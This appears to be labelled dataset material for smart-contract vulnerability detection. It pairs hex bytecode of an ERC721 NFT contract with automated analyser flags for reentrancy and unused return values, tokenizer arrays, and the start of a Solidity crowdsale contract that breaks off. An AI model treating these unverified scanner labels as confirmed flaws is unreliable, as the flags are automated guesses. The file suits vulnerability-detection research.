1611f6d9061494b565b60405180910390fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac33836040518363ffffffff1660e01b8152600401611fd3929190614688565b600060405180830381600087803b158015611fed57600080fd5b505af1158015612001573d6000803e3d6000fd5b5050505060005b8281101561206357612036846101bc610b48600e546120279190614c15565b6120319190614c15565b612bf3565b6001600e60008282546120499190614c15565b92505081905550808061205b90614e67565b915050612008565b50505050565b61207a612074612647565b836128b9565b6120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b090614a6b565b60405180910390fd5b6120c584848484612e05565b50505050565b6101bc81565b6361a45e5081565b60606120e482612794565b612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211a906149eb565b60405180910390fd5b600061212d612e61565b9050600081511161214d57604051806020016040528060008152506121af565b8061215784612ef3565b6040518060400160405280600581526020017f2e6a736f6e00000000000000000000000000000000000000000000000000000081525060405160200161219f939291906145f0565b6040516020818303038152906040525b915050919050565b601480546121c490614e04565b80601f01602080910402602001604051908101604052809291908181526020018280546121f090614e04565b801561223d5780601f106122125761010080835404028352916020019161223d565b820191906000526020600020905b81548152906001019060200180831161222057829003601f168201915b505050505081565b61061481565b6040518060400160405280600581526020017f2e6a736f6e00000000000000000000000000000000000000000000000000000081525081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b612320612647565b73ffffffffffffffffffffffffffffffffffffffff1661233e611a45565b73ffffffffffffffffffffffffffffffffffffffff1614612394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238b906149ab565b60405180910390fd5b60005b8151811015612438576003601360008484815181106123df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061243090614e67565b915050612397565b5050565b612444612647565b73ffffffffffffffffffffffffffffffffffffffff16612462611a45565b73ffffffffffffffffffffffffffffffffffffffff16146124b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124af906149ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251f906147eb565b60405180910390fd5b61253181612d3f565b50565b61253c612647565b73ffffffffffffffffffffffffffffffffffffffff1661255a611a45565b73ffffffffffffffffffffffffffffffffffffffff16146125b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a7906149ab565b60405180910390fd5b80601260006101000a81548160ff02191690831515021790555050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612640575061263f826130a0565b5b9050919050565b600033905090565b6126576115f2565b15612697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268e906148cb565b60405180910390fd5b6001600a60146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586126db612647565b6040516126e89190614621565b60405180910390a1565b6126fa6115f2565b612739576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127309061474b565b60405180910390fd5b6000600a60146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61277d612647565b60405161278a9190614621565b60405180910390a1565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661287383611784565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006128c482612794565b612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa906148ab565b60405180910390fd5b600061290e83611784565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061297d57508373ffffffffffffffffffffffffffffffffffffffff1661296584610c93565b73ffffffffffffffffffffffffffffffffffffffff16145b8061298e575061298d8185612284565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166129b782611784565b73ffffffffffffffffffffffffffffffffffffffff1614612a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a04906149cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a749061484b565b60405180910390fd5b612a88838383613182565b612a93600082612800565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ae39190614cf6565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b3a9190614c15565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b612bfd8282613192565b807f799cc526d4d14fa0d4ebe039e1b99d496f89a8ffba972a9f1786a3e1f9a6537b60405160405180910390a25050565b6000612c3982611784565b9050612c4781600084613182565b612c52600083612800565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ca29190614cf6565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612e10848484612997565b612e1c848484846131b0565b612e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e52906147cb565b60405180910390fd5b50505050565b606060148054612e7090614e04565b80601f0160208091040260200160405190810160405280929190818152602001828054612e9c90614e04565b8015612ee95780601f10612ebe57610100808354040283529160200191612ee9565b820191906000526020600020905b815481529060010190602001808311612ecc57829003601f168201915b5050505050905090565b60606000821415612f3b576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061309b565b600082905060005b60008214612f6d578080612f5690614e67565b915050600a82612f669190614c6b565b9150612f43565b60008167ffffffffffffffff811115612faf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612fe15781602001600182028036833780820191505090505b5090505b6000851461309457600182612ffa9190614cf6565b9150600a856130099190614eb0565b60306130159190614c15565b60f81b818381518110613051577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561308d9190614c6b565b9450612fe5565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061316b57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061317b575061317a82613347565b5b9050919050565b61318d8383836133b1565b505050565b6131ac82826040518060200160405280600081525061344b565b5050565b60006131d18473ffffffffffffffffffffffffffffffffffffffff166134a6565b1561333a578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026131fa612647565b8786866040518563ffffffff1660e01b815260040161321c949392919061463c565b602060405180830381600087803b15801561323657600080fd5b505af192505050801561326757506040513d601f19601f820116820180604052508101906132649190613fd9565b60015b6132ea573d8060008114613297576040519150601f19603f3d011682016040523d82523d6000602084013e61329c565b606091505b506000815114156132e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132d9906147cb565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061333f565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6133bc8383836134b9565b6133c4611a45565b73ffffffffffffffffffffffffffffffffffffffff166133e2612647565b73ffffffffffffffffffffffffffffffffffffffff1614613446576134056115f2565b15613445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343c9061472b565b60405180910390fd5b5b505050565b61345583836135cd565b61346260008484846131b0565b6134a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613498906147cb565b60405180910390fd5b505050565b600080823b905060008111915050919050565b6134c483838361379b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561350757613502816137a0565b613546565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146135455761354483826137e9565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156135895761358481613956565b6135c8565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146135c7576135c68282613a99565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561363d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136349061496b565b60405180910390fd5b61364681612794565b15613686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161367d9061480b565b60405180910390fd5b61369260008383613182565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136e29190614c15565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016137f6846118d4565b6138009190614cf6565b90506000600760008481526020019081526020016000205490508181146138e5576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061396a9190614cf6565b90506000600960008481526020019081526020016000205490506000600883815481106139c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110613a08577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480613a7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000613aa4836118d4565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b828054613b2490614e04565b90600052602060002090601f016020900481019282613b465760008555613b8d565b82601f10613b5f57805160ff1916838001178555613b8d565b82800160010185558215613b8d579182015b82811115613b8c578251825591602001919060010190613b71565b5b509050613b9a9190613b9e565b5090565b5b80821115613bb7576000816000905550600101613b9f565b5090565b6000613bce613bc984614b0b565b614ae6565b90508083825260208201905082856020860282011115613bed57600080fd5b60005b85811015613c1d5781613c038882613ca3565b845260208401935060208301925050600181019050613bf0565b5050509392505050565b6000613c3a613c3584614b37565b614ae6565b905082815260208101848484011115613c5257600080fd5b613c5d848285614dc2565b509392505050565b6000613c78613c7384614b68565b614ae6565b905082815260208101848484011115613c9057600080fd5b613c9b848285614dc2565b509392505050565b600081359050613cb2816156b3565b92915050565b600082601f830112613cc957600080fd5b8135613cd9848260208601613bbb565b91505092915050565b600081359050613cf1816156ca565b92915050565b600081359050613d06816156e1565b92915050565b600081519050613d1b816156e1565b92915050565b600082601f830112613d3257600080fd5b8135613d42848260208601613c27565b91505092915050565b600082601f830112613d5c57600080fd5b8135613d6c848260208601613c65565b91505092915050565b600081359050613d84816156f8565b92915050565b600081519050613d99816156f8565b92915050565b600060208284031215613db157600080fd5b6000613dbf84828501613ca3565b91505092915050565b60008060408385031215613ddb57600080fd5b6000613de985828601613ca3565b9250506020613dfa85828601613ca3565b9150509250929050565b600080600060608486031215613e1957600080fd5b6000613e2786828701613ca3565b9350506020613e3886828701613ca3565b9250506040613e4986828701613d75565b9150509250925092565b60008060008060808587031215613e6957600080fd5b6000613e7787828801613ca3565b9450506020613e8887828801613ca3565b9350506040613e9987828801613d75565b925050606085013567ffffffffffffffff811115613eb657600080fd5b613ec287828801613d21565b91505092959194509250565b60008060408385031215613ee157600080fd5b6000613eef85828601613ca3565b9250506020613f0085828601613ce2565b9150509250929050565b60008060408385031215613f1d57600080fd5b6000613f2b85828601613ca3565b9250506020613f3c85828601613d75565b9150509250929050565b600060208284031215613f5857600080fd5b600082013567ffffffffffffffff811115613f7257600080fd5b613f7e84828501613cb8565b91505092915050565b600060208284031215613f9957600080fd5b6000613fa784828501613ce2565b91505092915050565b600060208284031215613fc257600080fd5b6000613fd084828501613cf7565b91505092915050565b600060208284031215613feb57600080fd5b6000613ff984828501613d0c565b91505092915050565b60006020828403121561401457600080fd5b600082013567ffffffffffffffff81111561402e57600080fd5b61403a84828501613d4b565b91505092915050565b60006020828403121561405557600080fd5b600061406384828501613d75565b91505092915050565b60006020828403121561407e57600080fd5b600061408c84828501613d8a565b91505092915050565b60006140a183836145d2565b60208301905092915050565b6140b681614d2a565b82525050565b60006140c782614ba9565b6140d18185614bd7565b93506140dc83614b99565b8060005b8381101561410d5781516140f48882614095565b97506140ff83614bca565b9250506001810190506140e0565b5085935050505092915050565b61412381614d3c565b82525050565b600061413482614bb4565b61413e8185614be8565b935061414e818560208601614dd1565b61415781614f9d565b840191505092915050565b61416b81614d9e565b82525050565b600061417c82614bbf565b6141868185614bf9565b9350614196818560208601614dd1565b61419f81614f9d565b840191505092915050565b60006141b582614bbf565b6141bf8185614c0a565b93506141cf818560208601614dd1565b80840191505092915050565b60006141e8602b83614bf9565b91506141f382614fae565b604082019050919050565b600061420b601483614bf9565b915061421682614ffd565b602082019050919050565b600061422e600e83614bf9565b915061423982615026565b602082019050919050565b6000614251602b83614bf9565b915061425c8261504f565b604082019050919050565b6000614274600b83614bf9565b915061427f8261509e565b602082019050919050565b6000614297603283614bf9565b91506142a2826150c7565b604082019050919050565b60006142ba602683614bf9565b91506142c582615116565b604082019050919050565b60006142dd601c83614bf9565b91506142e882615165565b602082019050919050565b6000614300601683614bf9565b915061430b8261518e565b602082019050919050565b6000614323602483614bf9565b915061432e826151b7565b604082019050919050565b6000614346601983614bf9565b915061435182615206565b602082019050919050565b6000614369600983614bf9565b91506143748261522f565b602082019050919050565b600061438c602c83614bf9565b915061439782615258565b604082019050919050565b60006143af601083614bf9565b91506143ba826152a7565b602082019050919050565b60006143d2603883614bf9565b91506143dd826152d0565b604082019050919050565b60006143f5602a83614bf9565b91506144008261531f565b604082019050919050565b6000614418602983614bf9565b91506144238261536e565b604082019050919050565b600061443b601683614bf9565b9150614446826153bd565b602082019050919050565b600061445e602083614bf9565b9150614469826153e6565b602082019050919050565b6000614481602c83614bf9565b915061448c8261540f565b604082019050919050565b60006144a4602083614bf9565b91506144af8261545e565b602082019050919050565b60006144c7602983614bf9565b91506144d282615487565b604082019050919050565b60006144ea602f83614bf9565b91506144f5826154d6565b604082019050919050565b600061450d601183614bf9565b915061451882615525565b602082019050919050565b6000614530602183614bf9565b915061453b8261554e565b604082019050919050565b6000614553601583614bf9565b915061455e8261559d565b602082019050919050565b6000614576603183614bf9565b9150614581826155c6565b604082019050919050565b6000614599602c83614bf9565b91506145a482615615565b604082019050919050565b60006145bc603083614bf9565b91506145c782615664565b604082019050919050565b6145db81614d94565b82525050565b6145ea81614d94565b82525050565b60006145fc82866141aa565b915061460882856141aa565b915061461482846141aa565b9150819050949350505050565b600060208201905061463660008301846140ad565b92915050565b600060808201905061465160008301876140ad565b61465e60208301866140ad565b61466b60408301856145e1565b818103606083015261467d8184614129565b905095945050505050565b600060408201905061469d60008301856140ad565b6146aa60208301846145e1565b9392505050565b600060208201905081810360008301526146cb81846140bc565b905092915050565b60006020820190506146e8600083018461411a565b92915050565b60006020820190506147036000830184614162565b92915050565b600060208201905081810360008301526147238184614171565b905092915050565b60006020820190508181036000830152614744816141db565b9050919050565b60006020820190508181036000830152614764816141fe565b9050919050565b6000602082019050818103600083015261478481614221565b9050919050565b600060208201905081810360008301526147a481614244565b9050919050565b600060208201905081810360008301526147c481614267565b9050919050565b600060208201905081810360008301526147e48161428a565b9050919050565b60006020820190508181036000830152614804816142ad565b9050919050565b60006020820190508181036000830152614824816142d0565b9050919050565b60006020820190508181036000830152614844816142f3565b9050919050565b6000602082019050818103600083015261486481614316565b9050919050565b6000602082019050818103600083015261488481614339565b9050919050565b600060208201905081810360008301526148a48161435c565b9050919050565b600060208201905081810360008301526148c48161437f565b9050919050565b600060208201905081810360008301526148e4816143a2565b9050919050565b60006020820190508181036000830152614904816143c5565b9050919050565b60006020820190508181036000830152614924816143e8565b9050919050565b600060208201905081810360008301526149448161440b565b9050919050565b600060208201905081810360008301526149648161442e565b9050919050565b6000602082019050818103600083015261498481614451565b9050919050565b600060208201905081810360008301526149a481614474565b9050919050565b600060208201905081810360008301526149c481614497565b9050919050565b600060208201905081810360008301526149e4816144ba565b9050919050565b60006020820190508181036000830152614a04816144dd565b9050919050565b60006020820190508181036000830152614a2481614500565b9050919050565b60006020820190508181036000830152614a4481614523565b9050919050565b60006020820190508181036000830152614a6481614546565b9050919050565b60006020820190508181036000830152614a8481614569565b9050919050565b60006020820190508181036000830152614aa48161458c565b9050919050565b60006020820190508181036000830152614ac4816145af565b9050919050565b6000602082019050614ae060008301846145e1565b92915050565b6000614af0614b01565b9050614afc8282614e36565b919050565b6000604051905090565b600067ffffffffffffffff821115614b2657614b25614f6e565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614b5257614b51614f6e565b5b614b5b82614f9d565b9050602081019050919050565b600067ffffffffffffffff821115614b8357614b82614f6e565b5b614b8c82614f9d565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614c2082614d94565b9150614c2b83614d94565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c6057614c5f614ee1565b5b828201905092915050565b6000614c7682614d94565b9150614c8183614d94565b925082614c9157614c90614f10565b5b828204905092915050565b6000614ca782614d94565b9150614cb283614d94565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614ceb57614cea614ee1565b5b828202905092915050565b6000614d0182614d94565b9150614d0c83614d94565b925082821015614d1f57614d1e614ee1565b5b828203905092915050565b6000614d3582614d74565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000614da982614db0565b9050919050565b6000614dbb82614d74565b9050919050565b82818337600083830152505050565b60005b83811015614def578082015181840152602081019050614dd4565b83811115614dfe576000848401525b50505050565b60006002820490506001821680614e1c57607f821691505b60208210811415614e3057614e2f614f3f565b5b50919050565b614e3f82614f9d565b810181811067ffffffffffffffff82111715614e5e57614e5d614f6e565b5b80604052505050565b6000614e7282614d94565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614ea557614ea4614ee1565b5b600182019050919050565b6000614ebb82614d94565b9150614ec683614d94565b925082614ed657614ed5614f10565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4552433732315061757361626c653a20746f6b656e207472616e73666572207760008201527f68696c6520706175736564000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f45786365656473206e756d626572000000000000000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4e6f742073746172746564000000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f43616e2774206d696e74206d6f7265207468616e203300000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4d6178206c696d69740000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f7567682047454d2062616c616e636500000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f56616c75652062656c6f77207072696365000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f576974686472617720756e7375636365737366756c0000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000602082015250565b6156bc81614d2a565b81146156c757600080fd5b50565b6156d381614d3c565b81146156de57600080fd5b50565b6156ea81614d48565b81146156f557600080fd5b50565b61570181614d94565b811461570c57600080fd5b5056fea26469706673582212208d79d5f3bd421b4a07e7431b5badf98a2c9621864d1983363f93d4a9ac99274064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 12521, 2549, 2497, 2683, 17788, 2487, 16409, 2497, 29097, 2497, 2683, 3540, 15136, 2683, 27717, 22025, 16086, 2683, 21926, 2509, 2546, 2692, 2546, 2692, 2050, 2549, 14141, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,618
0x9712867811aa6c20aa9923d15099fc7c62927805
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of 